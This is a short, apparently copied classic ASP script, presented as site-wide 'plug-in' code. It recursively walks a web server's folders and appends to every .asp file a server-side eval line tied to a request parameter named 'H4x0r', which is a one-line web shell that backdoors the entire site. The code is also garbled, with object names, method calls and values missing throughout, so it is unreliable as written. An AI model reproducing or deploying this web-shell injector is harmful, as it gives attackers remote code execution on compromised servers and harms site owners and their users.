The code for implementing the entire site plug-in code

<%
dim ph
dim intfile
 = 600
ph=("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("")
on error resume next 
Set f = (Path)
Set fc2 = 
For Each myfile in fc2
If lcase((path&""&))="asp" then
Set FS1 = CreateObject("")
Set tfile=(path&""&,8,false)
 "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if

Next
Set fsubfolers = 
For Each f1 in fsubfolers
newpath=path&""&
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<% 
call InsertAllFiles(ph)
%>